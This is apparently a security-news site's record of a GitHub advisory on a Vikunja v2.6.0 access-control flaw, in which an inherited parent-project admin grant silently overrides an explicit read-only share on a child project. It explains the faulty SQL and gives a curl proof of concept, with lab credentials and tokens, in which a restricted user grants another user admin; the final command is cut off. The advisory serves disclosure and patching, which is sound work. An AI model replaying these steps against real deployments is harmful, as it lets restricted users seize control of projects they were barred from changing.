KEVWire

Security intelligence, with context.

Response snapshot Oct 28, 2026, 17:16 UTC

Back to the wire
Permalink
VulnerabilityGHSA-pjr3-86v4-5p7w

Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)

In Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as the MAX over the entire reachable project subtree.

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: code.vikunja.io/api: 2.7.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-pjr3-86v4-5p7w (opens a new tab)

What happened

Summary

In Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as the MAX over the entire reachable project subtree.

As a result, when a user has been granted a higher permission on a parent project and the owner *explicitly* shares a child project with that same user at a lower permission (an intended down-restriction), the explicit lower grant is silently ignored and the user receives the higher, inherited permission on the child.

A user who was deliberately restricted to read-only on a sensitive sub-project can therefore modify it, delete it, and re-share it (including granting other users admin) - none of which the owner intended. This is a behavior regression from v2.5.0, whose engine used "nearest-ancestor-grant-wins" semantics that honored the explicit child grant.

Continue reading

Details

Effective permissions are computed by a single recursive CTE in pkg/models/project_access.go (getProjectAccessForUser):

WITH RECURSIVE grants (project_id, permission) AS (
 SELECT project_id, MAX(permission) FROM (
 SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?
 UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?
 UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp
 INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?
 ) direct_grants GROUP BY project_id
),
tree (id, permission) AS (
 SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id
 UNION
 SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id
)
SELECT id, MAX(permission) AS permission FROM tree GROUP BY id

For a parent P where the user has a direct ADMIN(2) grant and a child C (with parent_project_id = P) where the user has a direct READ(0) grant, the tree CTE produces the rows (P,2), (C,0) (direct grants) and (C,2) (the parent grant propagated down the recursion). The final SELECT id, MAX(permission) ... GROUP BY id collapses the child to MAX(0, 2) = 2 (ADMIN). The explicit READ grant on C is discarded.

In v2.5.0 the equivalent resolution used ROW_NUMBER() OVER (... ORDER BY priority) (nearest-ancestor wins), so the child's own direct grant took precedence and the down-restriction was honored. The switch to MAX(...) in v2.6.0 introduces the override. Code comments in project_access.

go describe the additive behavior as intentional ("a grant on a descendant can raise an inherited permission, never lower it"), so the maintainers may consider this working-as-intended - but it is a security-relevant regression that silently defeats an explicit, owner-configured access restriction, so it is reported here for a decision.

PoC

Target: http://localhost:3456 (Vikunja v2.6.0). Owner: admin. Restricted collaborator: alice (id 2). Third party used to demonstrate re-sharing: bob. Note Vikunja's v1 REST convention: **PUT = create, POST = update. All values below are the **real, unredacted values from the run.

Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)

curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
 -d '{"username":"admin","password":"VikunjaLab123!"}'
curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
 -d '{"username":"alice","password":"AliceLab123!"}'

Real tokens issued:

admin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg
alice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU

Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)

# parent (id 18)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
 -H 'Authorization: Bearer ' -d '{"title":"FinanceRoot"}'
# child of parent 18 (id 19)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
 -H 'Authorization: Bearer ' -d '{"title":"Q4-Payroll-CONFIDENTIAL","parent_project_id":18}'
# standalone control (id 20)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
 -H 'Authorization: Bearer ' -d '{"title":"ControlStandalone"}'

Result: parent id=18, child id=19 (parent_project_id=18), control id=20.

Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0)

curl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \
 -H 'Authorization: Bearer ' -d '{"username":"alice","permission":2}' # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \
 -H 'Authorization: Bearer ' -d '{"username":"alice","permission":0}' # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \
 -H 'Authorization: Bearer ' -d '{"username":"alice","permission":0}' # -> 201

Confirm the recorded child grant is READ(0):

curl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer '
# -> [{"id":..,"username":"alice","permission":0, ...}] (0 = Read only)

Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)

curl

curl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' 

Affected package ranges reported by GitHub:
code.vikunja.io/api: = 2.6.0

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-pjr3-86v4-5p7w (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-pjr3-86v4-5p7w, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0). https://kevwire.com/record/GHSA-pjr3-86v4-5p7w

MLA

"Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)." KEVWire, 28 Oct. 2026, kevwire.com/record/GHSA-pjr3-86v4-5p7w.

Chicago

KEVWire. "Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)." Last modified October 28, 2026. https://kevwire.com/record/GHSA-pjr3-86v4-5p7w.

Evidence summary (plain text)

Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) (Oct 9, 2026).
In Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as
the MAX over the entire reachable project subtree. As a result, when a user has been granted a
higher permission on a parent project and the owner *explicitly* shares a child project with
that same user at a lower permission (an intended down-restriction), the explicit lower grant is
silently ignored and the user receives the higher, inherited permission on the child.
Sources:
GitHub-reviewed advisory GHSA-pjr3-86v4-5p7w: https://github.com/advisories/GHSA-pjr3-86v4-5p7w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-pjr3-86v4-5p7w.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 28, 2026, 16:55 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail